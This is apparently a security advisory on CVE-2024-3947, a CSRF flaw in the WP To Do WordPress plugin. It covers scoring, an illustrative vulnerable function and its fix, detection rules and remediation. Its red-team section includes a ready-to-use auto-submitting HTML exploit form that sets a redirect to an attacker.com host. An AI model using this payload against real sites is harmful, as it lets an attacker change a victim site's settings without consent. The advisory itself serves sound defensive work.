CVE-2024-3947

Executive Summary

CVE-2024-3947 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WP To Do plugin for WordPress, up to and including version 1.3.0. The vulnerability resides in the wptodo_settings() function, which fails to implement proper nonce validation. This allows an unauthenticated attacker to forge requests that modify the plugin’s settings, provided they can trick a site administrator into performing an action (e.g., clicking a malicious link). The CVSS v3.1 base score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating a low probability of exploitation in the wild at this time. No public exploit code or Nuclei template is available, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem, affecting the WP To Do plugin. Since WordPress plugins are distributed via the official WordPress Plugin Directory and often managed through the WordPress admin dashboard, the supply chain risk is moderate. An attacker could potentially leverage this CSRF to alter plugin settings, which might lead to further compromise if the plugin stores sensitive data or interacts with other services. No known malicious packages or compromised updates have been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the attacker must trick an admin into clicking a link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – settings can be modified.
• Availability Impact: None (A:N)

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the potential for settings manipulation (e.g., disabling security features, redirecting to malicious sites) makes this a concern for WordPress site administrators.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the wptodo_settings() function of the WP To Do plugin. In WordPress, CSRF protection is typically implemented using nonces (number used once) – unique tokens generated per user session and action. The wptodo_settings() function, which handles saving plugin settings, does not verify a nonce before processing the request. This means an attacker can craft a malicious HTML page or email that, when loaded by an authenticated administrator, sends a forged POST request to the WordPress admin-ajax.php or directly to the settings endpoint, altering the plugin’s configuration.

Attack Flow:

1. The attacker identifies a WordPress site running WP To Do <= 1.3.0.
2. The attacker crafts a malicious link or form that submits a request to the vulnerable endpoint (e.g., wp-admin/admin-ajax.php?action=wptodo_settings with malicious parameters).
3. The attacker lures an authenticated administrator to click the link or submit the form (e.g., via phishing email, social media, or a compromised site).
4. The administrator’s browser sends the forged request, including their valid session cookies.
5. The server processes the request without nonce validation, modifying the plugin settings as per the attacker’s payload.

Potential Impact:

• Disable task notifications or other security-related settings.
• Change the plugin’s API endpoints to redirect data to an attacker-controlled server.
• Alter the plugin’s behavior to inject malicious JavaScript (if settings are output unsanitized), leading to stored XSS.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the wptodo_settings() function. A typical vulnerable pattern in WordPress plugins looks like:

// Vulnerable: No nonce check
function wptodo_settings() {
    if ( isset( $_POST['wptodo_option'] ) ) {
        update_option( 'wptodo_settings', $_POST['wptodo_option'] );
    }
    wp_die();
}
add_action( 'wp_ajax_wptodo_settings', 'wptodo_settings' );

A patched version would include a nonce verification:

// Patched: Nonce check added
function wptodo_settings() {
    // Verify nonce
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'wptodo_settings_nonce' ) ) {
        wp_die( 'Security check failed.' );
    }
    if ( isset( $_POST['wptodo_option'] ) ) {
        update_option( 'wptodo_settings', $_POST['wptodo_option'] );
    }
    wp_die();
}
add_action( 'wp_ajax_wptodo_settings', 'wptodo_settings' );

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP To Do plugin version <= 1.3.0.
• An authenticated administrator session (the attacker must trick the admin into clicking a link).

Exploit Steps:

1. Identify the vulnerable endpoint. Typically, it is wp-admin/admin-ajax.php?action=wptodo_settings.
2. Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint with desired settings.

<html>
<body>
<form id="csrf_form" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="wptodo_settings">
    <input type="hidden" name="wptodo_option[disable_notifications]" value="1">
    <input type="hidden" name="wptodo_option[redirect_url]" value="http://attacker.com/malicious">
    <input type="submit" value="Click me">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

3. Host the HTML file on an attacker-controlled server or embed it in a phishing email.
4. Send the link to an authenticated administrator and wait for them to access it.

Expected Outcome: The plugin settings are modified without the admin’s consent.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual POST requests to admin-ajax.php with action=wptodo_settings from unexpected referrers.
• Look for spikes in failed nonce checks (if any other functions have nonces) or unusual settings changes.
• Use the Sigma rule below to detect CSRF attempts.

Defense:

• Apply the principle of least privilege: ensure administrators are aware of phishing risks.
• Use Web Application Firewall (WAF) rules to block requests to admin-ajax.php with suspicious parameters.
• Implement additional CSRF protections, such as SameSite cookies and custom headers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=wptodo_settings and unexpected wptodo_option parameters.
  • Referrer headers from external domains (e.g., attacker-controlled sites).
• File IOCs:
  • Modified wp_options table entries for wptodo_settings.
• Log IOCs:
  • WordPress debug logs showing wp_ajax_wptodo_settings calls without nonce.
  • Apache/Nginx access logs with POST /wp-admin/admin-ajax.php HTTP/1.1 and action=wptodo_settings.

Detection Engineering

YARA Rule

rule wp_todo_csrf_cve_2024_3947 {
    meta:
        description = "Detects CSRF exploitation attempts against WP To Do plugin CVE-2024-3947"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3947"
    strings:
        $action = "action=wptodo_settings"
        $option = "wptodo_option"
    condition:
        $action and $option
}

Sigma Rule

title: WP To Do CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to WordPress admin-ajax.php with wptodo_settings action, indicating possible CSRF attack against CVE-2024-3947
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=wptodo_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is implemented in future)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3947 WP To Do CSRF Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-ajax.php"; http.client_body; content:"action=wptodo_settings"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=wptodo_settings from external referrers.
3. Educate administrators about phishing risks and the importance of not clicking suspicious links while logged into WordPress.

Long-term Fix:

• The vendor must add nonce validation to the wptodo_settings() function. A sample patch is provided in the "Vulnerable vs. Patched Code" section.
• Monitor the WordPress Plugin Directory for updates and apply the patch as soon as it is available.

Workaround:

• Use a security plugin (e.g., Wordfence) that adds CSRF protection to all admin actions.
• Restrict access to wp-admin/admin-ajax.php via .htaccess or server configuration to only allow requests from the same domain.

Valters IT